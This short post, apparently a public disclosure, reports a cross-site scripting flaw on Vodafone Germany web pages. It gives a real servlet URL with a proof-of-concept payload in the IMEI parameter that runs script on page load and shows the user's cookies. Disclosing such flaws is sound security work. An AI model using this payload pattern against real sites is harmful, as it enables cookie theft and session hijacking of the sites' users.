There's a little vulnerability in the post section of: http://www.vodafone.de/business/support_download/77278.html
Sending a malicious code will result a code working on the page that pops up... https://www.vodafone.de/simlock/servlets/sim?IMEI=[XSS CODE HERE] example: https://www.vodafone.de/simlock/servlets/sim?IMEI=<body%20onload="alert(document.cookie);">
